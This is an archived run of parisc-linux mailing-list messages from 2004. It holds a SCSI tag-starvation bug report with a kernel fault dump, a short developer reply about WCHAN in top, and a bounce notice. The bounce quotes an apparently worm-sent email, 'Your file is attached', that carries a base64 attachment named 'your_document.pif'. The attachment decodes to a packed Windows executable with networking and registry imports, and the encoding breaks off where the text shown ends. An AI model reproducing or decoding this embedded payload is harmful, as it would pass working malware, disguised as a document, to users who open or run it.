	id 1A527B4151; Mon, 26 Apr 2004 16:10:19 +0200 (CEST)
Original-Received: from www.fonts.de (bhonet00003.fonts.de [193.103.125.42])
	by mail.linotype.com (Linotype Mail System) with ESMTP id 5F48FB412C
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Apr 2004 16:10:18 +0200 (CEST)
Original-Received: from domino001.fonts.de (domino001.fonts.de [193.103.125.36])
	by www.fonts.de (Linotype Mail System) with ESMTP id 68A744C0AB
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Apr 2004 16:10:15 +0200 (CEST)
X-Mailer: Lotus Notes Release 5.0.5  September 22, 2000
X-MIMETrack: Serialize by Router on domino001/Linotype/DE(Release 5.0.12
	|February 13, 2003) at 04/26/2004 04:08:50 PM
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 26 Apr 2004 14:10:20 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21523

Hi,

using kernel 2.4.23-pa3, which I downloaded from http://parisc-linux.org/~rbrad/vmlinux-2.4.23-pa3.bz2 because I needed MUX support.

Machine is a HP K-200 with three CPUs (although, since this is not an smp kernel, should not be important);

I have a 50 GB SCSI-drive attached to SCSI1 (the Low Voltage Controller where the CD-Rom is attached to); Whenever I try to format the partition (50GB, the whole disk) I get the following:

> Writing superblocks and filesystem accounting information: scsi1 (0:0)
> Target is suffering from tag starvation.
> SCSI disk error : host 1 channel 0 id 0 lun 0 return code = 8
> I/O error: dev 08:41, sector 34078720
> SCSI disk error : host 1 channel 0 id 0 lun 0 return code = 8
> I/O error: dev 08:41, sector 34078722
> scsi1 (0:0) New error handler wants to abort command
>        0x2a 00 04 90 00 28 00 00 08 00
> scsi1 (0:0) New error handler wants to abort command
>        0x2a 00 04 7c 00 28 00 00 08 00
> scsi1 (0:0) New error handler wants to abort command
>        0x2a 00 05 c4 00 28 00 00 08 00
> scsi1 (0:0) New error handler wants to abort command
>        0x2a 00 05 ac 00 28 00 00 08 00
> scsi1 (0:0) New error handler wants to abort command
>        0x2a 00 05 10 00 28 00 00 08 00
> scsi1 (0:0) New error handler wants to abort command
>        0x2a 00 05 9c 00 28 00 00 08 00
> scsi1 (0:0) New error handler wants to abort command
>        0x2a 00 04 00 00 28 00 00 08 00
> scsi1 (0:0) New error handler wants to abort command
>        0x2a 00 04 80 00 28 00 00 08 00
> scsi1 (0:0) New error handler wants to abort command
>        0x2a 00 05 c4 00 28 00 00 08 00
> scsi1 (0:0) New error handler wants to abort command
>        0x2a 00 05 ac 00 28 00 00 08 00
> scsi1 (0:0) New error handler wants to abort command
>        0x2a 00 05 10 00 28 00 00 08 00
> scsi1 (0:0) New error handler wants to abort command
>        0x2a 00 05 9c 00 28 00 00 08 00
> scsi1 (0:0) New error handler wants to abort command
>        0x2a 00 04 00 00 28 00 00 08 00
> scsi1 (0:0) New error handler wants to abort command
>        0x2a 00 04 80 00 28 00 00 08 00
> scsi1 (0:0) New error handler wants to abort command
>        0x2a 00 02 04 00 28 00 00 08 00
> scsi1 (0:0) New error handler wants to abort command
>        0x2a 00 01 d0 00 28 00 00 08 00
> scsi1 (0:0) New error handler wants to abort command
>        0x2a 00 01 fc 00 28 00 00 08 00
> scsi1 (0:0) New error handler wants to abort command
>        0x2a 00 02 00 00 28 00 00 08 00
> scsi1 (0:0) New error handler wants to abort command
>        0x2a 00 04 8c 00 28 00 00 08 00
> scsi1 (0:0) New error handler wants to abort command
>        0x2a 00 04 f4 00 28 00 00 08 00
> scsi1 (0:0) New error handler wants device reset
>        0x2a 00 04 90 00 28 00 00 08 00
> scsi1 (0:0) New error handler wants BUS reset, cmd 21e46e00
>        0x2a 00 04 90 00 28 00 00 08 00
> scsi1: Bus Reset detected, executing command 00000000, slot 00000000,
> dsp 001704a8[04a8]
> failing command because of reset, slot 21e88654, cmnd 21e46e00
> failing command because of reset, slot 21e88788, cmnd 21e47e00
> failing command because of reset, slot 21e888bc, cmnd 21e47800
> failing command because of reset, slot 21e889f0, cmnd 21e46200
> failing command because of reset, slot 21e88b24, cmnd 21e46000
> failing command because of reset, slot 21e88c58, cmnd 21e46400
> failing command because of reset, slot 21e88d8c, cmnd 21e46600
> failing command because of reset, slot 21e88ec0, cmnd 21e46a00
> failing command because of reset, slot 21e88ff4, cmnd 21e47c00
> failing command because of reset, slot 21e89128, cmnd 21e47a00
> failing command because of reset, slot 21e8925c, cmnd 21e47600
> failing command because of reset, slot 21e894c4, cmnd 21e47400
> failing command because of reset, slot 21e895f8, cmnd 21e47200
> failing command because of reset, slot 21e8972c, cmnd 21e47000
>
> Stack Dump:
> 21e90740:  0004ff0e 00000000 21e90670 21e90650
> 21e90730:  00000000 10228630 00000000 21e90000
> 21e90720:  00000000 00000000 00000000 21e90000
> 21e90710:  00000001 00000002 21f36000 00000002
> 21e90700:  21f3c040 1006c000 103aa010 103aa010
> 21e906f0:  1032b010 1020e448 103cd000 00000001
>
> Kernel addresses on the stack:

> Kernel Fault: Code=26 regs=21e90740 (Addr=00000048)
>
>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00000000000001001111111100001110 Not tainted
> r00-03  00000000 103ebab8 10228630 21e8972c
> r04-07  21e46e00 1020de94 21f60400 00002000
> r08-11  000003e8 0000ffff 00002000 00001000
> r12-15  00001002 21f61ea0 000000fd f0100000
> r16-19  f0000fe0 f0000074 f000006c 00000080
> r20-23  00000000 21e889f0 10065860 00000000
> r24-27  00000000 00000000 21f60404 10316010
> r28-31  21f60404 10326c00 21e90740 1020e51c
> sr0-3   00000000 00000003 00000000 00000003
> sr4-7   00000000 00000000 00000000 00000000
>
> IASQ: 00000000 00000000 IAOQ: 102286bc 102286c0
> IIR: 4a930090    ISR: 00000000  IOR: 00000048
> CPU:        0   CR30: 21e90000 CR31: 103d8000
> ORIG_R28: 00000000

Then the machine freezes, I need to reboot. When I make a partition with 40GB and format it, I get an error message very much the same, but I get a prompt and can continue to work. When I use a
partition of 30GB, it works. What seems to be the problem here?

Greets,

Jay






From - Thu Nov 08 21:31:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Harmony driver for 2.6 working,
	possible bug in top?
Date: Mon, 26 Apr 2004 15:14:50 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <20040426141450.GP22558@parcelfarce.linux.theplanet.co.uk>
References: <008301c42b95$f2ae30c0$0702a8c0@tfam.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623408 8989 80.91.229.3 (22 Nov 2014 02:30:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:08 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Paul <paul@techcenter3000.com>
Original-X-From: willy@www.linux.org.uk  Mon Apr 26 08:14:51 2004
Return-Path: <willy@www.linux.org.uk>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9C2D04854
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Apr 2004 08:14:51 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1BI6sk-0004JV-7i; Mon, 26 Apr 2004 15:14:50 +0100
Content-Disposition: inline
In-Reply-To: <008301c42b95$f2ae30c0$0702a8c0@tfam.org>
User-Agent: Mutt/1.4.1i
Original-Sender: <willy@www.linux.org.uk>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 26 Apr 2004 14:14:52 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21524

On Mon, Apr 26, 2004 at 08:54:08AM -0500, Paul wrote:
> Bug in top: Can anyone else verify this? Add WCHAN to the field list
> and tell me if you think it's right.

WCHAN has never been implemented properly.  Paul Bame did a bit of a
hack once but the Right Way to do it is to implement a stack unwinder.
Randolph said he may have time to look into it shortly.

PS, please wrap your lines at 80 columns.


-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain


From - Thu Nov 08 21:31:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: MAILER-DAEMON <MAILER-DAEMON@swip.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Mail System Error - Returned Mail
Date: Mon, 26 Apr 2004 16:27:40 +0200
Lines: 391
Approved: news@gmane.org
Message-ID: <20040426142740.FKQX16034.fep40-svc.swip.net@fep40-svc>
Reply-To: Tele2 Internet Support <support@swip.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/report; report-type=delivery-status;
	Boundary="===========================_ _= 6200561(16034)1082989660"
X-Trace: ger.gmane.org 1416623409 8992 80.91.229.3 (22 Nov 2014 02:30:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:09 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: MAILER-DAEMON  Mon Apr 26 08:27:43 2004
Return-Path: <>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from fep40-svc.swip.net (fep40.swip.net [130.244.199.168])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4366C4854
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Apr 2004 08:27:42 -0600 (MDT)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 26 Apr 2004 14:27:43 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21525


--===========================_ _= 6200561(16034)1082989660
Content-Type: text/plain

This Message was undeliverable due to the following reason:

The user(s) account is temporarily over quota.

<gregoire@tele2.fr>

--===========================_ _= 6200561(16034)1082989660
Content-Type: message/delivery-status

Reporting-MTA: dns; fep40.swip.net
Arrival-Date: Mon, 26 Apr 2004 16:27:40 +0200
Received-From-MTA: dns; mailfe08.swip.net (130.244.240.108)

Final-Recipient: RFC822; <gregoire@tele2.fr>
Action: failed
Status: 4.2.2

--===========================_ _= 6200561(16034)1082989660
Content-Type: message/rfc822

Received: from mailfe08.swip.net ([130.244.240.108]) by fep40-svc.swip.net
	with ESMTP
	id <20040426142740.FKQT16034.fep40-svc.swip.net@mailfe08.swip.net>
	for <gregoire@tele2.fr>; Mon, 26 Apr 2004 16:27:40 +0200
Received: from [80.170.21.14] (HELO tele2.fr)
	by mailfe08.swip.net (CommuniGate Pro SMTP 4.2b2)
	with ESMTP id 20168258 for gregoire@tele2.fr;
	Mon, 26 Apr 2004 16:27:00 +0200
From: parisc-linux@lists.parisc-linux.org
To: gregoire@tele2.fr
Subject: Re: Your document
Date: Mon, 26 Apr 2004 16:27:01 +0200
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0010_00003C3E.000050E9"
X-Priority: 3
X-MSMail-Priority: Normal
Message-ID: <auto-000020168258@mailfe08.swip.net>

This is a multi-part message in MIME format.

------=_NextPart_000_0010_00003C3E.000050E9
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit

Your file is attached.

------=_NextPart_000_0010_00003C3E.000050E9
Content-Type: application/octet-stream;
	name="your_document.pif"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="your_document.pif"

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAuAAAAKvnXsbvhjCV74Ywle+GMJVsmj6V44YwlQeZOpX2hjCV74YxlbiGMJVsjm2V
4oYwlQeZO5XqhjCVV4A2le6GMJVSaWNo74YwlQAAAAAAAAAAQ29tcHJlc3NlZCBieSBQZXRp
dGUgKGMpMTk5OSBJYW4gTHVjay4AAFBFAABMAQMA6ZtBQAAAAAAAAAAA4AAPAQsBBgAASAAA
APAAAAAAAABCcAEAABAAAABgAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAAIABAAAE
AAAAAAAAAgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAA/HEBAK8BAAAAYAEA
EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
LnBldGl0ZQAAUAEAABAAAAA8AAAACAAAAAAAAAAAAAAAAAAAYAAA4AAAAAAAAAAAABAAAABg
AQAQAAAAAEQAAAAAAAAAAAAAAAAAAEAAAEAAAAAAAAAAAKsDAAAAcAEAAAQAAAAEAAAAAAAA
AAAAAAAAAABgAADiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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
